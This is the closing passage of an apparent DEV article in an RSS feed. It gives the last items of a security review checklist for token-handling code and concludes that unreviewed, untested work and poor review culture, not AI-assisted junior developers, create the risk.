&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Validate expiration&lt;/td&gt;
&lt;td&gt;Prevents stale token use.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Validate tenant mapping&lt;/td&gt;
&lt;td&gt;Prevents cross-customer access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Test failure cases&lt;/td&gt;
&lt;td&gt;Confirms invalid tokens are rejected.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Log safely&lt;/td&gt;
&lt;td&gt;Helps investigation without leaking secrets.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That checklist is useful no matter who wrote the first draft.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bottom line
&lt;/h2&gt;

&lt;p&gt;AI did not make junior developers risky.&lt;/p&gt;

&lt;p&gt;Unreviewed work is risky. Ambiguous ownership is risky. Security-sensitive code without tests is risky. Leadership that punishes disclosure is risky.&lt;/p&gt;

&lt;p&gt;If companies want safer software, they need review systems that inspect behavior, teach risk, and make AI use governable.&lt;/p&gt;

&lt;p&gt;Blaming juniors is easier. It is also weaker engineering.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/tags/security" class="crayons-btn crayons-btn--primary"&gt;Interested in security, AI, and engineering review culture? Explore #security on DEV.&lt;/a&gt;
&lt;/p&gt;

</description>
      <category>security</category>
      <category>auth</category>
      <category>ai</category>
      <category>review</category>
    </item>
  </channel>
</rss>
